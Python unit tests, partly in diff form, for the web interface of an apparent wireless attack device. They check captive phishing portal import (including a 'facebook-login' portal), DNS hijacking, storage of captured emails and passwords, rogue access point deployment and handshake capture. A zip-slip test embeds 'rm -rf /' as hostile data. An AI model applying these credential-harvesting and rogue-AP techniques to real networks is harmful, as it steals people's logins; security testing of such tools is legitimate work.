import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, args=(), query=None):
return type('C', (), {'body': body or {}, 'args': args,
'query': query or {}})()
def make_zip(files, top_dir=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
for name, data in files.items():
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
return buf.getvalue()
INDEX_PHP = (b"<?php\n$destination = 'x';\nrequire_once('helper.php');\n?>\n"
b'<html><form method="post" action="/captiveportal/index.php">'
b'<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="mac" value="<?=getClientMac($_SERVER[\'REMOTE_ADDR\']);?>">'
b'<input type="hidden" name="ip" value="<?=$_SERVER[\'REMOTE_ADDR\'];?>">'
b'<input type="hidden" name="target" value="<?=$destination?>">'
b'<input name="email"></form></html>')
META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode()
class PortalsTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-')
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
server.PORTAL_CAPTURES_FILE)
server.PORTALS_DIR = self.tmp
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
server._portal_set_active(None)
self.hijacks = []
server._portal_dns_hijack = (
lambda enable: self.hijacks.append(enable))
def tearDown(self):
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
server.PORTAL_CAPTURES_FILE = self.old
shutil.rmtree(self.tmp, ignore_errors=True)
# ---- import ----
def test_import_flat_zip(self):
status, payload = server.h_portals_import(ctx({
'name': 'my-portal',
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'my-portal')
root = os.path.join(self.tmp, 'my-portal')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css')))
def test_import_nested_top_dir_flattens_and_uses_ep_name(self):
status, payload = server.h_portals_import(ctx({
'data': base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'MyPortal.php': b'<?php ?>',
'facebook-login.ep': META_EP},
top_dir='facebook-login')).decode()}))
self.assertEqual(status, 200)
self.assertEqual(payload['name'], 'facebook-login')
root = os.path.join(self.tmp, 'facebook-login')
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login')))
def test_import_rejects_missing_index_php(self):
status, payload = server.h_portals_import(ctx({
'name': 'bad', 'data': base64.b64encode(make_zip(
{'only.css': b'body{}'})).decode()}))
self.assertEqual(status, 400)
def test_import_rejects_zip_slip(self):
evil = make_zip({'index.php': INDEX_PHP})
# Hand-build a zip with an unsafe entry.
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('index.php', INDEX_PHP)
zf.writestr('../../evil.sh', b'rm -rf /')
status, _ = server.h_portals_import(ctx({
'name': 'evil', 'data': base64.b64encode(buf.getvalue()).decode()}))
self.assertEqual(status, 400)
self.assertFalse(os.path.exists('/tmp/evil.sh'))
self.assertFalse(os.path.exists(evil and '/etc/passwd.mk8test'))
def test_import_rejects_garbage(self):
status, _ = server.h_portals_import(ctx({
'name': 'junk', 'data': base64.b64encode(b'not a zip').decode()}))
self.assertEqual(status, 400)
status, _ = server.h_portals_import(ctx({}))
self.assertEqual(status, 400)
def test_import_overwrites_same_name(self):
data = base64.b64encode(make_zip({
'index.php': INDEX_PHP})).decode()
s1, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data}))
data2 = base64.b64encode(make_zip({
'index.php': INDEX_PHP, 'extra.txt': b'x'})).decode()
s2, _ = server.h_portals_import(ctx({'name': 'dup', 'data': data2}))
self.assertEqual((s1, s2), (200, 200))
self.assertTrue(os.path.isfile(
os.path.join(self.tmp, 'dup', 'extra.txt')))
# ---- list / activate / delete ----
def _import_one(self, name='p1'):
status, payload = server.h_portals_import(ctx({
'name': name, 'data': base64.b64encode(make_zip(
{'index.php': INDEX_PHP})).decode()}))
assert status == 200, payload
return name
def test_list_reports_portals_and_active(self):
self._import_one('alpha')
status, payload = server.h_portals_list(ctx())
self.assertEqual(status, 200)
names = [p['name'] for p in payload['portals']]
self.assertIn('alpha', names)
self.assertIsNone(payload['active'])
def test_activate_starts_dns_hijack_and_persists(self):
name = self._import_one()
status, payload = server.h_portals_activate(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True])
with open(server.PORTAL_ACTIVE_FILE) as f:
self.assertEqual(f.read().strip(), name)
status, payload = server.h_portals_list(ctx())
self.assertEqual(payload['active'], name)
def test_activate_unknown_portal_404(self):
status, _ = server.h_portals_activate(ctx(args=('ghost',)))
self.assertEqual(status, 404)
def test_deactivate_stops_hijack(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, payload = server.h_portals_deactivate(ctx())
self.assertEqual(status, 200)
self.assertEqual(self.hijacks, [True, False])
_, payload = server.h_portals_list(ctx())
self.assertIsNone(payload['active'])
def test_delete_active_portal_deactivates_first(self):
name = self._import_one()
server.h_portals_activate(ctx(args=(name,)))
status, _ = server.h_portals_delete(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertFalse(os.path.exists(os.path.join(self.tmp, name)))
self.assertEqual(self.hijacks, [True, False])
def test_restore_on_boot_reapplies_hijack(self):
name = self._import_one()
with open(server.PORTAL_ACTIVE_FILE, 'w') as f:
f.write(name + '\n')
server._portal_restore_on_boot()
self.assertEqual(self.hijacks, [True])
self.assertEqual(server._portal_active['name'], name)
# ---- php shim ----
def test_php_shim_substitutes_client_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF', 'victim-pc')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5',
'http://login.example.com/')
finally:
server._dhcp_leases = old_leases
self.assertNotIn('<?php', out)
self.assertNotIn('<%=', out)
self.assertNotIn('<?=', out)
self.assertIn('value="victim-pc"', out)
self.assertIn('value="AA:BB:CC:DD:EE:FF"', out)
self.assertIn('value="10.0.0.5"', out)
self.assertIn('value="http://login.example.com/"', out)
def test_php_shim_escapes_quotes_in_lease_values(self):
old_leases = server._dhcp_leases
server._dhcp_leases = lambda: {'10.0.0.5': ('AA:BB:CC:DD:EE:FF',
'vic"tim')}
try:
out = server._php_shim(INDEX_PHP.decode(), '10.0.0.5', 'http://x/')
finally:
server._dhcp_leases = old_leases
self.assertIn('value="vic&quot;tim"', out)
# ---- capture ----
def test_capture_writes_logs_and_jsonl(self):
name = self._import_one('credtrap')
server._portal_capture(b'email=a@b.c&password=hunter2&submit=Log+In',
'10.0.0.9', name)
logs_path = os.path.join(self.tmp, 'credtrap', '.logs')
with open(logs_path) as f:
text = f.read()
self.assertIn('email: a@b.c', text)
self.assertIn('password: hunter2', text)
self.assertIn('[', text)
with open(server.PORTAL_CAPTURES_FILE) as f:
entries = [json.loads(line) for line in f if line.strip()]
self.assertEqual(len(entries), 1)
self.assertEqual(entries[0]['fields']['password'], 'hunter2')
self.assertEqual(entries[0]['ip'], '10.0.0.9')
self.assertEqual(entries[0]['portal'], 'credtrap')
def test_captures_endpoint_lists_newest_first_and_clears(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
server._portal_capture(b'a=2', '10.0.0.2', name)
status, payload = server.h_portals_captures(ctx(query={'limit': 200}))
self.assertEqual(status, 200)
self.assertEqual(payload['total'], 2)
self.assertEqual(payload['captures'][0]['fields']['a'], '2')
status, _ = server.h_portals_captures_clear(ctx())
self.assertEqual(status, 200)
_, payload = server.h_portals_captures(ctx(query={}))
self.assertEqual(payload['total'], 0)
def test_logs_download_returns_file(self):
name = self._import_one()
server._portal_capture(b'a=1', '10.0.0.1', name)
status, payload = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, '%s.logs.txt' % name)
self.assertIn(b'a: 1', payload.data)
def test_logs_download_404_when_empty(self):
name = self._import_one()
status, _ = server.h_portal_logs(ctx(args=(name,)))
self.assertEqual(status, 404)
if __name__ == '__main__':
unittest.main()
+10
View File
@@ -1164,6 +1164,16 @@ class ReconReportTest(unittest.TestCase):
self.assertIn('AE:77:C0:EB:31:41', text) self.assertIn('AE:77:C0:EB:31:41', text)
self.assertIn('handshake', text) self.assertIn('handshake', text)
self.assertNotIn('ProbeOnlySSID', text) self.assertNotIn('ProbeOnlySSID', text)
def test_html_download_orders_strongest_signal_first(self):
with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
self.assertEqual(status, 200)
text = payload.data.decode('utf-8')
# Fixture: hidden AP at -64 dBm is stronger than Anderson-5 at -76 dBm.
strong = '50:6F:9A:01:00:00'
weak = 'C8:9E:43:64:80:80'
self.assertLess(text.index(strong), text.index(weak))
def test_html_report_includes_gps_when_locked(self): def test_html_report_includes_gps_when_locked(self):
with mock.patch.object(server, '_gps_status_data', with mock.patch.object(server, '_gps_status_data',
return_value={'lock': True, 'lat': 37.7, return_value={'lock': True, 'lat': 37.7,
+243
View File
@@ -0,0 +1,243 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class _Ctx(object):
def __init__(self, body=None):
self.body = body
class ReliabilityApiTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.old_device_run = server.device_run
server._health.update({
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), timeout))
return (0, '', '')
server.device_run = fake_run
def tearDown(self):
server.device_run = self.old_device_run
import mk8_guard
mk8_guard._GR_CACHE['data'] = None
def test_h_health_exposes_reliability_feed(self):
status, h = server.h_health(None)
self.assertEqual(status, 200)
for key in ('reliability', 'events', 'guard'):
self.assertIn(key, h)
for counter in ('boots', 'unexpected_boots', 'rollbacks',
'restarts', 'guard_fixes'):
self.assertIn(counter, h['reliability'])
self.assertIsInstance(h['events'], list)
self.assertIn('in_sync', h['guard'])
self.assertIn('pool_size', h['guard'])
def test_check_boot_marker_uses_module_marker_path(self):
import tempfile
marker = tempfile.mktemp()
old = server.BOOT_MARKER
server.BOOT_MARKER = marker
try:
if os.path.exists(marker):
os.unlink(marker)
self.assertFalse(server.check_boot_marker())
self.assertTrue(os.path.exists(marker),
'check_boot_marker must use server.BOOT_MARKER')
open(marker, 'w').write('0')
self.assertTrue(server.check_boot_marker())
finally:
if os.path.exists(marker):
os.unlink(marker)
server.BOOT_MARKER = old
def test_clean_cycle_boot_shutdown_next_boot_not_unexpected(self):
import tempfile
import threading
import mk8_events as events_mod
marker = tempfile.mktemp()
old = (server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
server._recon_hopper_stop, events_mod.mark_boot)
stops = (threading.Event(), threading.Event(), threading.Event())
server.BOOT_MARKER = marker
server.LIVE_STOP, server.HEALTH_STOP, \
server._recon_hopper_stop = stops
booted = []
events_mod.mark_boot = \
lambda unexpected=False: booted.append(unexpected)
try:
# Simulate a previous run's marker left behind: boot is unexpected.
open(marker, 'w').write('0')
self.assertTrue(server.check_boot_marker())
self.assertEqual(booted, [True])
# Clean shutdown clears the marker...
self.assertTrue(os.path.exists(marker))
server._request_shutdown()
self.assertFalse(os.path.exists(marker),
'graceful shutdown must clear the boot marker')
for ev in stops:
self.assertTrue(ev.is_set())
# ...so the next boot is clean and re-arms the marker.
self.assertFalse(server.check_boot_marker())
self.assertEqual(booted[-1], False)
self.assertTrue(os.path.exists(marker))
# _clear_boot_marker is best-effort on missing/None markers.
server._clear_boot_marker()
self.assertFalse(os.path.exists(marker))
server.BOOT_MARKER = None
server._clear_boot_marker()
finally:
(server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
server._recon_hopper_stop, events_mod.mark_boot) = old
if os.path.exists(marker):
os.unlink(marker)
def test_profile_routes_registered(self):
handler, _ = server.ROUTER.dispatch('GET',
'/api/reliability/profiles')
self.assertEqual(handler, server.h_profiles_get)
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/profile')
self.assertEqual(handler, server.h_profile_save)
handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/restore')
self.assertEqual(handler, server.h_profile_restore)
handler, _ = server.ROUTER.dispatch('GET', '/api/reliability/nope')
self.assertIsNone(handler)
def test_h_profiles_get_lists_profiles(self):
import mk8_profiles
old = mk8_profiles.list_profiles
mk8_profiles.list_profiles = lambda: ['a', 'b']
try:
status, data = server.h_profiles_get(None)
finally:
mk8_profiles.list_profiles = old
self.assertEqual(status, 200)
self.assertEqual(data, {'profiles': ['a', 'b']})
def test_h_profile_save_validates_saves_and_journals(self):
import mk8_events
import mk8_profiles
calls = {'snapshots': []}
events = []
old_snapshot, old_log = mk8_profiles.snapshot, mk8_events.log_event
def fake_snapshot(name):
if not all(c.isalnum() or c in '._-' for c in name) \
or name in ('.', '..') or len(name) > 64:
raise ValueError('invalid profile name')
calls['snapshots'].append(name)
return True
def fake_log(kind, **kw):
events.append((kind, kw))
mk8_profiles.snapshot = fake_snapshot
mk8_events.log_event = fake_log
try:
status, data = server.h_profile_save(_Ctx({'name': ' pre-x-1 '}))
self.assertEqual(status, 200)
self.assertEqual(data, {'ok': True})
self.assertEqual(calls['snapshots'], ['pre-x-1'])
self.assertEqual(events[-1][0], 'profile_save')
status, data = server.h_profile_save(_Ctx({'name': ' '}))
self.assertEqual(status, 400)
self.assertIn('error', data)
status, data = server.h_profile_save(_Ctx({'name': '../evil'}))
self.assertEqual(status, 400)
self.assertIn('error', data)
self.assertEqual(calls['snapshots'], ['pre-x-1'])
status, data = server.h_profile_save(_Ctx({}))
self.assertEqual(status, 400)
def failed_snapshot(name):
calls['snapshots'].append(name)
return False
mk8_profiles.snapshot = failed_snapshot
status, data = server.h_profile_save(_Ctx({'name': 'p2'}))
self.assertEqual(status, 502)
self.assertFalse(data['ok'])
self.assertEqual(events[-1][0], 'profile_save')
self.assertEqual(events[-1][1].get('sev'), 'warn')
finally:
mk8_profiles.snapshot = old_snapshot
mk8_events.log_event = old_log
def test_h_profile_restore_gated_reload_journal(self):
import mk8_gate
import mk8_events
import mk8_profiles
calls = {'gate': [], 'events': []}
olds = (mk8_gate.enter, mk8_profiles.restore, mk8_events.log_event)
def fake_enter(op):
calls['gate'].append(op)
return 'snap-1'
def fake_restore(name):
calls['restored'] = name
return {'ok': True, 'restored': ['wireless']}
def fake_log(kind, **kw):
calls['events'].append((kind, kw))
mk8_gate.enter = fake_enter
mk8_profiles.restore = fake_restore
mk8_events.log_event = fake_log
try:
status, result = server.h_profile_restore(_Ctx({'name': 'p1'}))
self.assertEqual(status, 200)
self.assertEqual(result, {'ok': True, 'restored': ['wireless']})
self.assertEqual(calls['gate'], ['restore_profile'])
self.assertEqual(calls['restored'], 'p1')
reloads = [r for r in self.runs if r[0][:2] == ['wifi', 'reload']]
self.assertEqual(len(reloads), 1)
# post-restore convergence parks the factory-enabled dummy STA
parked = [r for r in self.runs
if r[0][:3] == ['uci', 'set',
'wireless.dummy_radio0.disabled=1']]
self.assertEqual(len(parked), 1)
downs = [r for r in self.runs if r[0][:4] == ['ip', 'link',
'set', 'wlan0']]
self.assertTrue(downs)
raises = [r for r in self.runs if r[0][:4] == ['ip', 'link',
'set', 'wlan0mon']]
self.assertTrue(raises)
self.assertEqual(calls['events'][-1][0], 'profile_restore')
def missing_restore(name):
calls['restored'] = name
return {'ok': False, 'restored': [], 'error': 'not found'}
mk8_profiles.restore = missing_restore
status, result = server.h_profile_restore(
_Ctx({'name': 'missing'}))
self.assertEqual(status, 502)
self.assertFalse(result['ok'])
self.assertEqual(calls['events'][-1][0], 'profile_restore')
self.assertEqual(calls['events'][-1][1].get('sev'), 'warn')
status, result = server.h_profile_restore(_Ctx({'name': ''}))
self.assertEqual(status, 400)
finally:
(mk8_gate.enter, mk8_profiles.restore,
mk8_events.log_event) = olds
if __name__ == '__main__':
unittest.main()
+15 -1
View File
@@ -43,6 +43,20 @@ class StatusTest(unittest.TestCase):
d = server.disk_data() d = server.disk_data()
self.assertEqual(d['avail'], 7364608 * 1024) self.assertEqual(d['avail'], 7364608 * 1024)
def test_mem_parses_meminfo(self):
import tempfile
base = tempfile.mkdtemp()
with open(os.path.join(base, 'meminfo'), 'w') as f:
f.write('MemTotal: 262144 kB\nMemFree: 102400 kB\nMemAvailable: 122880 kB\nBuffers: 20480 kB\n')
d = server.mem_data(os.path.join(base, 'meminfo'))
self.assertEqual(d['size'], 262144 * 1024)
self.assertEqual(d['used'], (262144 - 122880) * 1024)
self.assertEqual(d['avail'], 122880 * 1024)
def test_mem_missing_returns_empty(self):
import tempfile
self.assertEqual(server.mem_data(os.path.join(tempfile.mkdtemp(), 'nope')), {})
def test_wifi_ifaces_extracts_names(self): def test_wifi_ifaces_extracts_names(self):
server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '') server.device_run = lambda args, timeout=20: (0, 'wlan0 ESSID: "Pineapple"\nwlan1 ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '')
self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1']) self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1'])
@@ -89,7 +103,7 @@ class StatusTest(unittest.TestCase):
args = () args = ()
status, payload = server.h_status(Ctx()) status, payload = server.h_status(Ctx())
self.assertEqual(status, 200) self.assertEqual(status, 200)
for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'uptime', 'hostname'): for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'mem', 'uptime', 'hostname'):
self.assertIn(k, payload) self.assertIn(k, payload)
def test_status_discovers_wifi_interfaces_once(self): def test_status_discovers_wifi_interfaces_once(self):
+359
View File
@@ -0,0 +1,359 @@
"""Regression tests for validation-suite findings (#1-#5).
#1 portal zip import without zipfile/pathlib/urllib (python3-light)
#2 DNS hijack uses uci add_list/del_list (list option, not string option)
#3 radio1 attack APs are bridged into br-lan (uci ports list + runtime brctl)
#4 5 GHz WPA deploys restart pineapd after setting mgmtiface so handshake
logging engages (reload is not enough)
#5 enterprise deploy links ctrl then restarts pineapd (not reload) so
PineAPE auth-pass events reach recon.db
"""
import base64
import io
import json
import os
import shutil
import sys
import tempfile
import unittest
import zipfile
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None):
return type('C', (), {'body': body or {}, 'args': (), 'query': {}})()
class FakeUciDevice:
"""In-memory uci + device_run fake with add_list/del_list support."""
def __init__(self):
self.state = {}
self.lists = {}
self.runs = []
self.sock = []
def device_run(self, args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.state[k] = v
elif a[:2] == ['uci', 'add_list']:
k, _, v = a[2].partition('=')
self.lists.setdefault(k, [])
if v not in self.lists[k]:
self.lists[k].append(v)
elif a[:2] == ['uci', 'del_list']:
k, _, v = a[2].partition('=')
lst = self.lists.get(k, [])
if v in lst:
lst.remove(v)
elif a[:2] == ['uci', 'get']:
return (0, self.state.get(a[2], '') + '\n', '')
elif a[:2] == ['uci', 'delete']:
for k in list(self.state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.state[k]
self.lists.pop(a[2], None)
elif a[:2] == ['uci', 'show']:
sec = a[2]
out = ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.'))
return (0, out, '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def daemon_sock_call(self, method, path, body=None, timeout=10):
self.sock.append((method, path, body))
if path == '/api/pineap/hostapd/get_config':
return 200, {'pineape_disabled': False,
'pineape_auth_pass': True}
return 200, {'success': True}
INDEX_PHP = b'<html><form method="post"><input name="email"></form></html>'
def make_zip(files, top_dir=None):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
for name, data in files.items():
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
return buf.getvalue()
class BlockZipfile:
"""Import hook that simulates python3-light: no zipfile module."""
def find_module(self, fullname, path=None): # noqa: D401 (legacy hook ok)
return self if fullname == 'zipfile' else None
def find_spec(self, fullname, path=None, target=None):
if fullname == 'zipfile':
raise ImportError('No module named \'zipfile\'')
return None
def load_module(self, fullname):
raise ImportError('No module named \'zipfile\'')
class DnsHijackListOpsTest(unittest.TestCase):
"""#2: hijack must use uci list ops so dnsmasq init sees the option."""
def setUp(self):
self.f = FakeUciDevice()
self.old_run = server.device_run
server.device_run = self.f.device_run
def tearDown(self):
server.device_run = self.old_run
def test_enable_uses_add_list_never_set(self):
server._portal_dns_hijack(True)
cmds = [r[0] for r in self.f.runs]
add = [c for c in cmds if c[:2] == ['uci', 'add_list']]
self.assertEqual(len(add), 1)
self.assertTrue(add[0][2].startswith('dhcp.@dnsmasq[0].address=/#/'))
self.assertNotIn(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/172.16.52.1'],
cmds)
def test_enable_is_idempotent_del_before_add(self):
server._portal_dns_hijack(True)
server._portal_dns_hijack(True)
adds = [r for r, _ in self.f.runs
if r[:2] == ['uci', 'add_list']]
dels = [r for r, _ in self.f.runs
if r[:2] == ['uci', 'del_list']]
self.assertEqual(len(adds), 2)
self.assertEqual(len(dels), 2)
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'),
['/#/172.16.52.1'])
def test_disable_removes_entry_and_restarts_dnsmasq(self):
server._portal_dns_hijack(True)
before = len(self.f.runs)
server._portal_dns_hijack(False)
tail = [r for r, _ in self.f.runs[before:]]
self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), [])
self.assertIn(['/etc/init.d/dnsmasq', 'restart'], tail)
class ZipImportWithoutZipfileTest(unittest.TestCase):
"""#1: import must work where zipfile/pathlib/urllib are absent."""
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='mk8-fix1-')
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
server.PORTAL_CAPTURES_FILE)
server.PORTALS_DIR = self.tmp
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
def tearDown(self):
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
server.PORTAL_CAPTURES_FILE = self.old
shutil.rmtree(self.tmp, ignore_errors=True)
def _import_blocked(self, data_bytes, name=None):
blocker = BlockZipfile()
saved = sys.modules.pop('zipfile', None)
sys.meta_path.insert(0, blocker)
try:
return server._portal_import(data_bytes, name)
finally:
sys.meta_path.remove(blocker)
if saved is not None:
sys.modules['zipfile'] = saved
def test_deflate_zip_extracts_without_zipfile(self):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('index.php', INDEX_PHP * 8)
zf.writestr('assets/style.css', b'body{}' + b'\n' * 400)
raw = buf.getvalue()
name = self._import_blocked(raw)
root = os.path.join(self.tmp, name)
with open(os.path.join(root, 'index.php'), 'rb') as f:
self.assertEqual(f.read(), INDEX_PHP * 8)
self.assertTrue(os.path.isfile(
os.path.join(root, 'assets', 'style.css')))
def test_stored_zip_extracts_without_zipfile(self):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
zf.writestr('index.php', INDEX_PHP)
name = self._import_blocked(buf.getvalue())
self.assertTrue(os.path.isfile(
os.path.join(self.tmp, name, 'index.php')))
def test_nested_top_dir_flattens_without_zipfile(self):
raw = make_zip({'index.php': INDEX_PHP}, top_dir='portal-x')
name = self._import_blocked(raw)
self.assertEqual(name, 'portal-x')
self.assertFalse(os.path.isdir(
os.path.join(self.tmp, 'portal-x', 'portal-x')))
def test_garbage_raises_valueerror_without_zipfile(self):
with self.assertRaises(ValueError):
self._import_blocked(b'not a zip')
class Radio1BridgeTest(unittest.TestCase):
"""#3: radio1 attack APs join br-lan via network.brlan.ports."""
def setUp(self):
self.f = FakeUciDevice()
self.old_run = server.device_run
server.device_run = self.f.device_run
def tearDown(self):
server.device_run = self.old_run
def test_apply_wpa_adds_bridge_port(self):
server._apply_radio1_ap(None, {'ssid': 'Znet',
'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False,
'enabled': True, 'channel': 157})
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1wpa'])
cmds = [r for r, _ in self.f.runs]
self.assertIn(['uci', 'commit', 'network'], cmds)
def test_apply_open_adds_bridge_port(self):
server._apply_radio1_ap({'ssid': 'Znet-Open', 'hidden': False,
'enabled': True, 'channel': 36,
'bssid': '', 'country': 'US'}, None)
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1open'])
def test_remove_drops_both_bridge_ports(self):
self.f.lists['network.brlan.ports'] = ['eth0', 'wlan1wpa', 'wlan1open']
server._remove_radio1_ap()
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['eth0'])
class DeployPineapdRestartTest(unittest.TestCase):
"""#4/#5: pineapd restart (not reload) after mgmtiface/link wiring."""
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = lambda name: {}
server._verify_iface = lambda name, timeout=20: True
server._allow_all_ssids = lambda: True
server._best_channel_for = lambda ssid: None
self.capture_starts = []
self.capture_stops = []
self.old_cap_start = getattr(server, '_ensure_attack_capture', None)
self.old_cap_stop = getattr(server, '_teardown_attack_capture', None)
server._ensure_attack_capture = \
lambda iface: (self.capture_starts.append(iface) or
{'running': True, 'pid': 1, 'iface': iface})
server._teardown_attack_capture = \
lambda iface: self.capture_stops.append(iface)
self.tmp = tempfile.mkdtemp(prefix='mk8-fix45-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT',
'ENT_SERVER_KEY', 'ENT_LOG', 'ENT_CAPTURES',
'ENT_DH_FILE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'ent-state.json')
server.ENT_DIR = os.path.join(self.tmp, 'ent')
server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
os.makedirs(server.ENT_DIR, exist_ok=True)
for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
server.ENT_SERVER_KEY, server.ENT_DH_FILE):
with open(p, 'w') as f:
f.write('stub\n')
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
if self.old_cap_start is not None:
server._ensure_attack_capture = self.old_cap_start
else:
delattr(server, '_ensure_attack_capture')
if self.old_cap_stop is not None:
server._teardown_attack_capture = self.old_cap_stop
else:
delattr(server, '_teardown_attack_capture')
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp, ignore_errors=True)
def _runs(self):
return [r for r, _ in self.f.runs]
def test_wpa_5g_restarts_pineapd_after_mgmtiface_before_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
runs = self._runs()
mgmt = runs.index(['uci', 'set',
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
restarts = [i for i, r in enumerate(runs)
if r == ['/etc/init.d/pineapd', 'restart']]
self.assertEqual(len(restarts), 1)
# pineapd must learn mgmtiface at startup, i.e. after the uci write
self.assertGreater(restarts[0], mgmt)
def test_wpa_2g4_does_not_restart_pineapd(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self._runs())
def test_wpa_5g_autostarts_monitor_capture(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(self.capture_starts, ['wlan1mon'])
